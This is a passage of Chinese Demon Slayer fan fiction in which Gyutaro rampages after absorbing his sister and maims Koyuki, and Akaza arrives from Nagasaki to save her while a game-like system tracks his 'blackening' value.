跪在废墟之中的鬼,低头望着穿过他掌心汇入他体内的鲜红绸带。明明是回流他体内的血液,但他绿瞳中无边的绝望,却像在眼睁睁看着自己的血流干。 终于,抓也抓不住的最后一点红丝绸,轻轻地,从他干枯的指尖拂过了。 轻柔地,带着一点依恋地,带着一点不舍地。 鬼王走后,在那间昏暗的小屋中,她仰躺在他怀中,俏皮地说着—— 哥哥,等出去之后,我们先去大学把那几个该死的学生揪出来。 然后我们再假扮人类的学生混进那什么学校里去怎么样?我还没体验过上学的感觉。都去外面了,就好好玩一场嘛,我想干什么你都要陪着我哦,拉钩上吊一百年不许变,一言为定了,哥哥! 她的小指扣着他的小指,她的拇指按着他的拇指。她的额头抵着他的额头。 一阵风过,他手上顷刻空空如也。 月下那双和他一模一样近在咫尺的浅绿色眼睛,也早已消散。 哥哥,只要我们两个在一起,就是最强的…… 吸收了妹妹的力量,妹妹的生命,他确实,正在变得空前强大。一如那位大人的预言。妓夫太郎,如果舍弃堕姬,你一定能变得更加强大。 强大。 毫无意义的强大。 奔涌在他体内的力量,像冰冷的钢刀一样凌迟着他。 再无累赘的、终于收回所有力量的、终于只剩他一人的上弦之六跪在地上,看着这双奔涌着滚滚鬼血却什么也抓不住的手,只觉得一切就像一场梦。 荒诞的梦。一定是假的梦。为什么还不结束……为什么还不结束! 无边的噩梦折磨着他,他跪在地上,形体病态的腰背弯着,一如匍匐,喉中发出各种嘶哑凄厉呐喊,似人非人,似鬼非鬼,似兽非兽。 渐渐,这不知是人是鬼抑或是失孤的兽的、地狱的造物,他从一片荒芜的梦中清醒了。因为那梦已经成为现实。 鬼屈起一条膝,扶着自己的膝盖,缓缓站了起来。 缺月是圆的,黑天是亮的,焰火是冷的,疾病是洁净的毒蛇是可怜的恶魔是正义的枯木是绽放的花没有从树上飘零唯有彼此的两个人生活在快乐永恒甜蜜的家中,他仍是她的哥哥。 什么任务,什么蓝色彼岸花,什么留着这个女人变成鬼,他已经,完全、完全抛之脑后。 他现在唯一想做的…… 是把这群人全部杀光。 灶门炭治郎,素山恋雪,还有…… 他要把他见到的每一个人,通通杀光! 26.无用的狛犬(上) 绿色的蟒蛇的瞳,看见忍者装扮的男人和粉红头发女子重新站起、重新持剑。 苍白的手抬起,前方顿时瓦砾横飞,炸开一朵朵猩红血爆,红光万花千蕊,如溅起红梅点点。 没有回头看掩埋在废墟中的二人一眼,他行尸走肉一般拖着自己的步伐,走过翻腾血海,继续向前。 冲天的火光与血光在上弦之六身后燃起。 很快,蛇的眼睛发现了另外两个猎物。 “炭治郎君,右边!” 轰然炸开的巨大血花,堪堪擦过鬼杀队少年的身侧。虽然只是锋芒擦过都留下血肉模糊伤口,但没有致命。 啊,没打中。 算了,先把那个女的杀了。 他抬起冰冷的臂,下一朵猩红怒放繁花,很快沿着他视线方向炸开。 赤血的红浪升腾,瞬间将那道纤柔文弱身影吞没。这爆炸足以将一幢巍峨的建筑物都摧毁。他仰头望着飘零的火星,神色空茫地想道,又下雪了。 然而他仰望赤红“飞雪”飘舞的目光,很快定住。因为那道纤弱的身影再度从血光中冲了出来。 她重新进攻时,骤然腾起的血镰将她的刀锋紧锁。 但转瞬之间,女人已变幻策略,华美流畅的腿技劈到他的臂上。 区区人类的体术也想和他对战么,还有这自以为天衣无缝的配合——妓夫太郎眼风一扫,血镰立刻也向身后攻上来的少年身上砍去。 就是这两个人杀了小梅。 杀意如漆黑漩涡将他的灵魂全然吞没的时刻,他心中反倒极度平静。 鬼空茫的心渐渐想起,无惨大人要把这个女人变成鬼似乎是因为她和那个叫珠世的鬼一样,有鬼王需要的药剂。不过这药剂无法阻止毒素蔓延吧,鬼苍绿的眼睛眯起,视线早已穿透对方纤薄皮肤,看见毒素在她的血液内越发凶猛地奔涌。 即使吃药来和他战斗,也不过是作困兽之斗,让她死得更凄惨而已。 本来,他还想将她一击毙命。但既然她自己上赶着找他凌迟、折磨…… 一朵血花炸开,大片的紫色迅速在她腿上蔓延开来。 刚才还用着那无聊的武术,这下她的腿还抬得起来吗?被毒素疾速侵蚀,她的腿很快就要废了。 但臂上再度传来虫蚁啃噬一样微不足道的痛苦——居然,还有力气来攻击他。 百合般苍白,寒春般凛冽,她因失血过多而生机尽褪的脸上仍有冰冷怒意。漆黑眉睫之下,深粉的瞳燃着幽隐的光,仿佛暗夜中的火石。 真是倔强,完全不服输。像一块钻石。坚固美丽得……让他恶心。 鬼眸光冷漠。 又一朵血的花朵怒放。 这次是她的臂。一个剑士,一个武道家最不能失去的肢体。她的双手顿时也如被人连根斩断的白木般垂下。 猫抓老鼠的游戏,过去的百年间他常和妹妹一起玩乐。但现在只有他一人,还有什么意思。 击中了眼前这个女剑士的双臂双腿后,鬼端详了她片刻,终于玩腻。 他徒手掐住她的颈,将她提到半空。雪白的颈,纤细的颈,像一只天鹅垂首,被他掐在手中,这令他无比厌恶和憎恨的美丽之物。除了妹妹,所有美丽的东西都不应该存在……下一刻,猩红的血花直接在她心脏处绽开。 轰一声。 那烦人的呼吸声终于停止了。心跳声也停止了。 很好,很好,死了一个,还有另一个,那个——灶门炭治郎。 鬼掐着她纤弱的脖颈,正想像撇开一朵枯萎的花一样直接把她挥到一旁的废墟去,如太阳灼烧的刀锋瞬间劈到他脖子上。 上弦六眼窝深深下陷,苍绿野火般的鬼瞳阴冷燃烧着,很快对上另一双炭红色的恨意滔天的眼。 他笑着:“你的师姐牺牲自己给你拖延时间,你怎么不逃跑啊?” “那两个柱,还有你那两个队员同伴,刚刚已经被我解决掉了。” 一挥手,他直接将那被他掐着颈项的女子抛到一旁废墟中,而后转过头来,徐徐笑道:“好了,现在你的师姐也死了。所有人都死了,就剩你了。你真是好运啊灶门炭治郎,还能活到最后一刻。” “要不,我先把你妹妹杀了再杀你吧怎么样?”妓夫太郎嗤笑一声,血镰飞旋,将恋雪刚才被打落在地的日轮刀卷起,“就这么决定了,先杀你妹妹再杀你!”鬼杀队的日轮刀,即使只是刀柄握在手中也有一股滚烫的刺痛传来,但他已经完全不在乎。 他还有什么可在乎? 一刀再一刀,疯狂向炭治郎背后的木箱砍去。 他已经看出这个该死的家伙也是在作困兽之争,和那个什么素山恋雪一样。血流满面,多处骨折,居然还在坚持战斗。 而且,还往他身上—— “哈哈哈,你以为这种东西对我有用吗?”妓夫太郎瘦削的腰向后仰去,喉中爆发出一阵大笑,“苦无?紫藤花汁?刚刚你和那几个女忍者会面的时候她们给你的?” 就连斩鬼的日轮刀他都当杀戮玩具一样握于手中,还会害怕这区区涂抹了紫藤花汁的苦无么。 唯独扰乱他心神的是…… 刚才那个素山恋雪让他回忆起来的往事仍在他脑海中盘旋不去。 妹妹。 小梅。 小梅。 小梅。 千万朵猩红的血爆再度腾起,在眼前鬼杀队少年身上疯狂怒放。 冲天血光腾起又散去。 眼前的少年咬着牙、坚持不要倒下去,但鬼只是无所谓地笑着,一步步走来。 “喂喂喂,怎么还能站得住啊?这是什么表情,一个虫豸、蠢货、废物也配露出这种仇恨的表情吗?” 虫豸,蠢货,废物,没出息的东西,不该出生的东西,连自己的妹妹也保护不好的东西。早就应该代替妹妹死在罗生门河岸的东西。 为什么活下来的会是他的呢。 鬼戏谑的笑容转瞬退去,眼中一片冰冷。瞬移而至,一个飞踢,他将灶门炭治郎击至熊熊燃烧的火堆中。 还在挣扎站起的人类,血流满面仍在用什么火神舞神乐向他进攻的人类,在他眼中就是一个笑话。 那个笑话的脸,却逐渐和他自己的脸重合在一起。 多么……多么让人恶心的脸。 他面上笑意全无,冷漠地开口:“刚才告诉过你了,我要先杀你妹妹。” 再度逼近时,上弦六手中淡蓝的刀锋举起—— 但转瞬间,一道暴虐的蓝光贯穿了他的肩膀。 那只在他身上开出血洞的青筋暴起的拳,仅仅是往外一偏,他的手臂便被整条撕裂,摔落在地。 淡蓝的日轮刀即将和他的断臂一同滚落在地,那锋丽刀身就要沾染泥尘之际,却被一只深蓝色的手接住,紧握。那握刀的手,似乎极度用力又似乎不敢用力,矛盾之下,甚至微微颤抖。 又是一拳,血肉的烟花炸开,来人将他的头颅也粉碎。 断颈之后露出一双红莲业火映照的金色眼睛。眼侧、眉端、太阳穴,一缕缕,一道道,宛如蛇行,全是暴起的青筋。 阴沉至极的声音传来:“这把刀也是你配用的吗。” 空气中涌起浓郁的血腥气,从天而降的鬼,身上流淌着比游郭之鬼强悍百倍的鬼血。火光明明暗暗,照出一张面无表情的攀满深蓝色刺青的脸。 “哦,原来是猗窝座大人。” 上弦六的头颅,一秒内就已重生。 他转过头来,露出一个满不在乎的笑:“抱歉,刚刚没仔细听你在我脑海里传音什么,因为……刚刚我忙着杀你那个素山恋雪呢。” * 这个什么万国园艺博览会真是无聊至极。 要不是所谓的新品种蓝色花卉第三天才展出,他早就想走了。 博览会场地设置在公园,加上设计了灯光布景,晚上也游人如织。 猗窝座把所有展出的盆栽和造景都看完后,在脑海中记下有哪些可以“复刻”到他和她的庭园中去,然后百无聊赖地盘坐在长椅上,托着腮打量过往游人。 看到一男一女,他心想她似乎也对园艺感兴趣,为什么要去执行那些无聊的任务呢,还不如和他一起到长崎来。 看到一家三口,他又想,她似乎没有和她说过她这一世的家人。 啊,好无聊。 他的目光不禁再度看向园路尽头,被父母牵着手的小女孩。 她居然从没有和他说过这一世她的家人。怎么,难道她怕他找上门,所以遮遮掩掩?都胆大妄为到和一个鬼在一起了,还怕这些,真好笑。等他回去,他就问个一清二楚—— 那本来要离开的一家三口,却在一面广告牌前驻足。 八月的,长崎的海滨花火大会。 一家人中的父亲将那小女孩抱起,让她能更清楚地看见广告画上五彩斑斓烟火:“是尺玉百连发喔,还有海面的水下花火,你不是一直想看这个吗?待会我们就坐电车去海边……” 广告牌中的花火大会就是今天。 按照他的速度,从这里去海边也只是十分钟的事情。 以往在任务中路过人类的城市,如果有花火大会,他几乎都会驻足观看。不知何故,那在夜空中绽放的繁花莫名吸引着他。火树银花,星辰如雨,漫天花火照亮他攀着深蓝刺青的面容。渐渐地,就连他日夜修行打磨出来的招式也以烟花为名。从前他很困惑为什么自己会喜欢这无聊的人类的造物,灿烂一刻就消失的花火,不过是幻梦一场,如此看似梦幻实则脆弱易逝之物……直到她说,她也喜欢看烟花。 真是无聊……原来就连他喜欢看烟花,也是因为她喜欢。 尺玉百连发。水下花火。按照招贴画的描述,是难得一见的盛事。如果是以前,他一定会抽空去一趟。 但此刻上弦三依然静坐在长椅上,对画上盛大的海边花火大会视若不见。 因为他早就约好了等他回东京,再和她一起去看东京八月的花火大会。他和她二人间的约定…… 她肯定会很开心,很感激,一定会不停说着,真谢谢猗窝座先生你陪我一起来看烟花。 他的眼前已经能浮现出她的脸。像百合一样洁白的脸,像寒春一样静美的脸,如梦如幻月,清艳之下藏着淡淡的哀愁。他多想看到她总是萦绕着一缕孤寂的脸上,能泛起雀跃神色。她最喜欢的灿烂的花火,能将她的忧愁照亮么? 等他调查完那个什么新品种的蓝色花卉,就…… 但忽然间,一股强烈的恶心感袭上他的心。 再无伤痛、再无疾病的鬼的身躯,横膈膜就像要呕吐一样忽然疯狂地痉挛起来,他全身起满了鸡皮疙瘩。 只听得无数乱音在他脑海中翻滚,滔滔、滔滔不绝,像一片肮脏的井水在黑暗中向他涌来,每一秒,每一秒,不祥的预感只比上一秒更强烈,在他心上翻涌。 猗窝座几欲干呕。 以往,他一直不屑于调取其他鬼的视界,因为觉得下级鬼就是群低等的东西,他懒得看他们每天除了杀人吃人就毫无追求的生活。但眼下这一刻,几秒之间,他已将所有在东京的鬼的视野都翻遍—— 终于,他的目光在游郭的暗红灯色中停顿。 “爸爸、妈妈,那个哥哥刚才还坐在长椅上,然后一下子就和飞起来一样消失不见了!”烟花招贴画前的小女孩,连忙左右各扯一下父母衣领,让他们转头去看,“真的,真的!” 女人拍拍她的头,笑笑:“妈妈的宝贝太有想象力啦,不过会飞的人是不存在的哦。应该只是那个大哥哥有什么急事,所以用跑的离开了吧。” “不是,他真的飞起来了——” “哈哈,怎么会有人能飞啊?走吧走吧,我们去坐电车,去海边看烟花……” * 风驰电掣,星奔电迈。 从长崎到东京,以他的速度是半天。这在鬼之中,已经是快得恐怖的速度。但此刻所有的风景都在他身后退去,像被森蓝的烈火疾速吞噬一样消融,要比半天时间更快、更快—— 为什么要到游郭去。 失踪的游女,都是被你吃了吗? 那个该死的花魁鬼的视野中,她举剑说道。 为什么知道失踪了几个游女后就要去调查。 和她有什么关系!无关的人类,失踪再多也没有关系,死再多也没有关系,他们全都去死就好了! 那两个鬼,那群鬼杀队剑士,他们全都去死就好了。 他一定会……杀了他们。 已步入关东的域界,鬼的瞳中金焰焚烧,心中无数杀戮的念头如狂蟒般缠卷奔涌。 和她一起作战还能让她受伤中毒的废物,胆敢掐着她的脖子让她撞上层层木墙的妓夫太郎。他立刻就会把他们全都杀了!幸好,幸好她还没事,她似乎反制了那个该死的鬼…… 她一直都很聪明,她一直都很有天赋,她一直都,她一定能…… 然而很快,他的血液如同冰冻一般凝固。 倒数五分钟。 得到了全部力量的上弦之六,将游郭彻底摧毁成一片废墟。面对如此险境,她依然要和那个鬼对上。 刹那万丈高涨的仇恨之火,火舌似乎也蔓延到了她身上。 为什么还要对战。你不是说要和我一起去看烟花吗?不止跑到游郭里来,还要一而再再而三冒险,把对我许下的承诺……抛之脑后! 等今天结束之后,等我把他们全部杀光之后,我一定会把你关起来,锁起来,让你再也做不出这些愚蠢的举动—— 倒数三分钟。 他对她的责备、怒火、怨恨,刹那间又全部消失了。 因为她的双臂双腿血花飞溅。 妓夫太郎对他的传音置若罔闻。 他生命中最珍爱的人被游郭之鬼,那个他平日根本瞧不上眼的低等的家伙废去了双手和双腿,然后又随意抛在一旁的废墟。上弦之六的视界很快对准了灶门炭治郎,以至于她彻底从他的金瞳中消失。 她消失了。 他看不见她。 浑身的血都涌上他的头脑,所有风景都在他拳下青光中撕裂。 最后一分钟。 火光影绰,整个世界都是血色,锥心滴血的红。 他颤抖的手终于触碰到她已被鲜血染透的后颈。 再也,再也,没办法从这片小小的、他无比熟悉的肌肤找到一寸还算洁净的皮肉。她浑身上下都是血。他想托着她的颈将她抱起来,却又浑身僵硬如雕塑,一尊冰冷幽冥中的大理石塑像,生怕自己身上冷硬的坚石会令奄奄一息的恋人更加痛楚。 不知过了多久,或许是一分钟,或许是一百年,他终于找回自己的声音,找回人间的语言。 她的名字是世上唯一的词汇,他俯身而下,低声地、小心翼翼地、不断地呼唤她:“恋雪,恋雪,恋雪,恋雪,恋雪,恋雪……” * 【您已在中毒状态内连续服用两瓶生命回复药剂,该药剂无法解毒且服用超过三次有抗药性,请您合理利用资源。】 很贴心地,末尾还有一个括号,包括第三次。 这药剂连续服用居然还有抗药性。 没关系,只是恢复这点体力也够了。足够她对战这个上弦之六……宇髄先生他们不是已经呼叫了援助么,等伊黑先生和忍小姐赶到后……但她实在是高估了自己现在的状态。 日轮刀被血镰锁住的数秒之内,她已作出判断。 炭治郎君比现在的她更适合战斗。 刀锋被锁住,她改用体术,最后拖延一分钟。 鬼青灰的手很快掐住她的脖子。 轰一声,足以令一个人内脏悉数破裂的冲击在她心脏爆发开来。 ……幸好她提前吃了药。 一阵天旋地转后,她的背撞上废墟的断瓦残垣,丛丛火星在模糊的视野中落下,有一些似乎还落到她的身上,烫得她的伤口又是一阵刺痛。 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但听见他匆匆赶回的步伐声,一缕茫茫然不知何枝可依幽魂便找回了自己的意识。 万般往事涌上她的心头。 恋雪尽力在一片血色里聚焦视线,想要看清这个人的……原来他还有这样的表情。视线逐渐清晰起来时,这是她第一个想法。她从来没有看过他这般神色。至少,在猗窝座的脸上从没有…… 褪去恣睢,褪去狂妄,极致的克制与柔情,像自抑了所有呼啸与风暴的漆黑海面,暗金的瞳一直凝望着她,没有眨眼,没有一丝一毫转移,万里死寂的深沉之海,所有的平静都是为了海中心一朵洁白的落花。 然而在那仿佛昨日重现的平静和柔情中,她捕捉到一丝摇摇欲坠的癫狂。 “咳、狛治……?”转瞬,她意识到不对,“猗窝座先生……” 他没有管她这一刻叫出的是哪一个名字,立刻在她模糊视线中点了点头。他的手在离她颊边咫尺之隔停留、颤抖、战栗、退缩,最后还是轻轻抚上她的脸。 如果世间真有神明,为何漫天神佛不曾听见他的心声? 只要你能醒过来,只要你能好起来,只要你能看看我。 原来神庙中优婉忧愁神像,当真垂怜着他。她洒下慈悯的恩典,成全了他的心愿。 重新看见她依依目光,重新听见她轻柔话语,他心道,从这一刻起她说什么他都会答应她,满足她。无论她要什么,他全都会取来,放在她的神台之前。 然而她苍白的脸,捧在他被罪人刺青染得深蓝的手中就像一片纤柔脆弱至极的花瓣。 金瞳颤动一瞬,鬼在混乱混沌浑浊纷杂癫狂颠倒乱作一团思绪中找回了一丝清明。她不是他幻想中的天女,她只是个人类。人类的内脏破裂就会流血,人类流血过多就会死,人类—— 【叮,攻略对象黑化值+2,目前黑化值80。】 【叮,攻略对象黑化值+3,目前黑化值83。】 【叮,攻略对象黑化值+6,目前黑化值89。】 【请注意,攻略对象黑化值即将超过90,黑化值即将超标,请立刻进行干涉,请……】 尖锐的警告在她耳边嗡鸣不断。但她根本没空管那天外之物在说什么,她听见的只有他喉中挤出的低语。惊惶,痛苦,不知所措。 “恋雪、恋雪,不,为什么会这样,为什么这些伤口又……”他慌乱地伸手捂住她重新流血的伤口。 因为无法消解毒素,肩、臂、心口,越来越多伤口药效过去,重新涌出血泉。但眼前的人,只将所有责任都揽到他自己身上。 “为什么我没有告诉你游郭里有两个上弦鬼——”他冰冷阴沉的怒火正燃烧着他自己。 无聊的,上弦之三的自尊心。觉得没必要对你袒露鬼的阵营的一切,觉得反正当猎鬼人只是你生命中一段短暂的旅途,觉得反正你余生的所有时间我都会保护你。 所谓的上弦之三,连一百年前那个人类都比不上,起码那个人类信守了他的诺言。 但他的自责全无用处——她的血依然从他指间溢出。死。第一次,她的面容在他眼前覆上了死亡的纱影,她是人,她也是会死的。 他无坚不摧的身体上滚过一个个冷颤,很快,他整个人都颤抖起来,却还强硬地,想继续止住她的血……分分秒秒过去,她的血越流越多。 他什么也做不了。 他没有任何用处!原来上弦之三,竟是这样一个只会空许承诺却又没有任何用处的—— 【叮,攻略对象黑化值+1,目前黑化值90。】 【该攻略人物现在极度危险,请立刻和他保持距离。】 她对那提示音置若罔闻。 意识到她想坐起来,他纵是万箭穿心、神思混沌空洞,也依然立刻空出一只手去扶她,她便顺着他的姿势,轻轻靠进他冰冷的怀里。提示音让她和他保持距离,但她顷刻间已和他靠得更近、更近,仿佛他们天生就是两株合抱为一的树。臂上阵阵剧痛传来,她的手只能抬到他肩膀的高度,于是她轻轻覆上他的颈。 鬼的动脉,在她掌心疾速跳着。 “我的口袋里有……”她轻声道。 猗窝座立即在她制服口袋里找到一樽小玻璃瓶,琥珀色的药剂。他一手托着她纤薄的背,一手将那药剂送到她唇边,小心地喂她喝下。 一如那天发生在无限列车旁的,炎柱身上的奇迹。她身上逝水般外涌的血液止住了,伤口渐渐愈合。 他无比痛楚愤恨自责的金瞳中泛起一丝喜悦,像个失而复得的单纯的孩子。 只听她靠在他怀中虚弱道:“谢谢你,猗窝座先生,你又帮了我。你又保护了我。” 比起一百年前的沉郁,现在的他,总是很自得,很自傲。平日她夸他一下,感谢他一下,他立刻就神采飞扬又假装浑不在意,如果堂堂武道鬼身后有尾巴,她觉得那尾巴一定在摇来摇去。 但这次他没有洋洋得意地认下她的感谢,片刻之后,他俊美眉宇复又皱起,仿佛识破了她的秘密。 猗窝座暗金的瞳再次波动起来,泛起刻骨焦灼:“为什么你身体里还有毒素。”毒,她中毒了。 果然,能透视人类血液的上弦鬼没那么好糊弄。 “我没事,我……”不知不觉,一个谎言已从她唇中吐露,“这个药可以解毒,只是还在起效。” 如愿地,她看见那双金瞳中的惊慌平息下来。 自己又对他撒谎了。 第三次服用有抗药性,刚才药剂回复的生命力和上弦之六的毒素对冲,毒发用了十分钟,这次说不定不到五分钟就会发作。 她心中空空落落地想道,其实她也不知道怎么办。让他就在旁边守着,眼睁睁看她体内的毒发作吗?不过,只要他在这里再待个一分钟、不,三十秒,就会察觉到她体内的毒素毫无减退的迹象吧。 战斗的轰鸣声从远处传来。 炭治郎君他们还在—— 她定了定神,深粉色的花瞳认真地看向他:“我没事了,真的,我没事。但那个鬼还在那里,我不知道支援什么时候能到,如果猗窝座先生你能……” 她已经如常言语,如常地,对他泛起静美的笑。 他忘了百载长夜的修行、也忘了荣耀加身的伟愿,只觉从死域到生门,她又回到他身边。她那么轻,却又那么温热,看向他时眸中有明净的光,只要生命仍在她体内涓涓流淌,他就已经心满意足。 他轻轻拢着她的手,额头抵在她皎洁双手上。 这双手点化了他,雕琢了他,从死域到生门,他是她一手注入生机的死魂灵。清澈明净的流水之上,虚寂空灵的白光之中,一旦看见她容颜,他所有远大前程野心尘念皆化为虚空。生生世世,长为我师……从今以后,她有什么心愿,他都会去实现。 “好,我一定会杀了他。我很快就回来,很快。我五分钟内就回来。”